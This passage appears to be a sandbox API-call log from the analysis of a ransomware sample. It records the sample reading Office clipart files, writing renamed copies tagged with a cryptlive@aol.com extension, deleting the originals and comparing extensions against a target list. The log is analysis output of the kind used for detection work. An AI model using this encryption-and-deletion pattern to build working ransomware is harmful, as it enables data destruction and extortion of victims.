office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0135.938] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.939] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0135.939] GetLastError () returned 0x0 [0135.939] ReadFile (in: hFile=0x3b0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1f1e, lpOverlapped=0x0) returned 1 [0135.996] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0135.997] ReadFile (in: hFile=0x3b0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.997] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.997] SetEndOfFile (hFile=0x384) returned 1 [0136.001] CloseHandle (hObject=0x384) returned 1 [0136.001] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.002] SetEndOfFile (hFile=0x3b0) returned 1 [0136.018] CloseHandle (hObject=0x3b0) returned 1 [0136.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0136.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0136.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0136.048] lstrlenW (lpString=".doc") returned 4 [0136.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.048] lstrlenW (lpString=".docx") returned 5 [0136.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.048] lstrlenW (lpString=".pdf") returned 4 [0136.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.048] lstrlenW (lpString=".xls") returned 4 [0136.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.048] lstrlenW (lpString=".xlsx") returned 5 [0136.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.048] lstrlenW (lpString=".ppt") returned 4 [0136.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0136.048] lstrlenW (lpString=".zip") returned 4 [0136.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.048] lstrlenW (lpString=".rar") returned 4 [0136.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.048] lstrlenW (lpString=".bz2") returned 4 [0136.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.048] lstrlenW (lpString=".7z") returned 3 [0136.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0136.048] lstrlenW (lpString=".dbf") returned 4 [0136.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0136.048] lstrlenW (lpString=".1cd") returned 4 [0136.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0136.048] lstrlenW (lpString=".jpg") returned 4 [0136.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0136.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0136.049] lstrlenW (lpString=".doc") returned 4 [0136.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.049] lstrlenW (lpString=".docx") returned 5 [0136.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.049] lstrlenW (lpString=".pdf") returned 4 [0136.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.049] lstrlenW (lpString=".xls") returned 4 [0136.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.049] lstrlenW (lpString=".xlsx") returned 5 [0136.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.049] lstrlenW (lpString=".ppt") returned 4 [0136.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0136.049] lstrlenW (lpString=".zip") returned 4 [0136.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.049] lstrlenW (lpString=".rar") returned 4 [0136.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.049] lstrlenW (lpString=".bz2") returned 4 [0136.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.049] lstrlenW (lpString=".7z") returned 3 [0136.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0136.049] lstrlenW (lpString=".dbf") returned 4 [0136.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0136.049] lstrlenW (lpString=".1cd") returned 4 [0136.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0136.049] lstrlenW (lpString=".jpg") returned 4 [0136.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.050] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.050] lstrlenW (lpString="BD19695_.WMF") returned 12 [0136.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.053] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=12982) returned 1 [0136.053] CloseHandle (hObject=0x3a4) returned 1 [0136.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20 [0136.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.055] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.055] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.055] GetLastError () returned 0x0 [0136.056] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x32b6, lpOverlapped=0x0) returned 1 [0136.057] WriteFile (in: hFile=0x388, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0136.059] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.059] WriteFile (in: hFile=0x388, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.059] SetEndOfFile (hFile=0x388) returned 1 [0136.059] CloseHandle (hObject=0x388) returned 1 [0136.059] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.059] SetEndOfFile (hFile=0x3a4) returned 1 [0136.062] CloseHandle (hObject=0x3a4) returned 1 [0136.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0136.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0136.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0136.063] lstrlenW (lpString=".doc") returned 4 [0136.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.063] lstrlenW (lpString=".docx") returned 5 [0136.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.063] lstrlenW (lpString=".pdf") returned 4 [0136.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.063] lstrlenW (lpString=".xls") returned 4 [0136.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.063] lstrlenW (lpString=".xlsx") returned 5 [0136.063] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.063] lstrlenW (lpString=".ppt") returned 4 [0136.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0136.063] lstrlenW (lpString=".zip") returned 4 [0136.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.063] lstrlenW (lpString=".rar") returned 4 [0136.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.063] lstrlenW (lpString=".bz2") returned 4 [0136.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.063] lstrlenW (lpString=".7z") returned 3 [0136.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0136.063] lstrlenW (lpString=".dbf") returned 4 [0136.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0136.063] lstrlenW (lpString=".1cd") returned 4 [0136.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0136.063] lstrlenW (lpString=".jpg") returned 4 [0136.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0136.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0136.064] lstrlenW (lpString=".doc") returned 4 [0136.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.064] lstrlenW (lpString=".docx") returned 5 [0136.064] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.064] lstrlenW (lpString=".pdf") returned 4 [0136.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.064] lstrlenW (lpString=".xls") returned 4 [0136.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.064] lstrlenW (lpString=".xlsx") returned 5 [0136.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.064] lstrlenW (lpString=".ppt") returned 4 [0136.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0136.064] lstrlenW (lpString=".zip") returned 4 [0136.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.064] lstrlenW (lpString=".rar") returned 4 [0136.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.064] lstrlenW (lpString=".bz2") returned 4 [0136.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.065] lstrlenW (lpString=".7z") returned 3 [0136.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0136.065] lstrlenW (lpString=".dbf") returned 4 [0136.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0136.065] lstrlenW (lpString=".1cd") returned 4 [0136.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0136.065] lstrlenW (lpString=".jpg") returned 4 [0136.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.065] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.065] lstrlenW (lpString="BD19828_.WMF") returned 12 [0136.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.122] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=8772) returned 1 [0136.122] CloseHandle (hObject=0x388) returned 1 [0136.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0136.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.203] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.204] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0136.683] GetLastError () returned 0x0 [0136.683] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x2244, lpOverlapped=0x0) returned 1 [0136.685] WriteFile (in: hFile=0x390, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2250, lpOverlapped=0x0) returned 1 [0136.687] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.687] WriteFile (in: hFile=0x390, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.687] SetEndOfFile (hFile=0x390) returned 1 [0136.687] CloseHandle (hObject=0x390) returned 1 [0136.687] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.687] SetEndOfFile (hFile=0x3a4) returned 1 [0136.691] CloseHandle (hObject=0x3a4) returned 1 [0136.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0136.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0136.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0136.779] lstrlenW (lpString=".doc") returned 4 [0136.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.779] lstrlenW (lpString=".docx") returned 5 [0136.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.779] lstrlenW (lpString=".pdf") returned 4 [0136.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.779] lstrlenW (lpString=".xls") returned 4 [0136.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.779] lstrlenW (lpString=".xlsx") returned 5 [0136.780] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.780] lstrlenW (lpString=".ppt") returned 4 [0136.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0136.780] lstrlenW (lpString=".zip") returned 4 [0136.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.780] lstrlenW (lpString=".rar") returned 4 [0136.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.780] lstrlenW (lpString=".bz2") returned 4 [0136.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.780] lstrlenW (lpString=".7z") returned 3 [0136.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0136.780] lstrlenW (lpString=".dbf") returned 4 [0136.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0136.780] lstrlenW (lpString=".1cd") returned 4 [0136.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0136.780] lstrlenW (lpString=".jpg") returned 4 [0136.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0136.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0136.780] lstrlenW (lpString=".doc") returned 4 [0136.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.780] lstrlenW (lpString=".docx") returned 5 [0136.780] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.780] lstrlenW (lpString=".pdf") returned 4 [0136.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.780] lstrlenW (lpString=".xls") returned 4 [0136.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.780] lstrlenW (lpString=".xlsx") returned 5 [0136.780] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.780] lstrlenW (lpString=".ppt") returned 4 [0136.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0136.781] lstrlenW (lpString=".zip") returned 4 [0136.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.781] lstrlenW (lpString=".rar") returned 4 [0136.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.781] lstrlenW (lpString=".bz2") returned 4 [0136.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.781] lstrlenW (lpString=".7z") returned 3 [0136.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0136.781] lstrlenW (lpString=".dbf") returned 4 [0136.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0136.781] lstrlenW (lpString=".1cd") returned 4 [0136.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0136.781] lstrlenW (lpString=".jpg") returned 4 [0136.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.781] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.781] lstrlenW (lpString="BL00130_.WMF") returned 12 [0136.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.782] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1464) returned 1 [0136.782] CloseHandle (hObject=0x3ac) returned 1 [0136.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x20 [0136.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.782] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.782] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 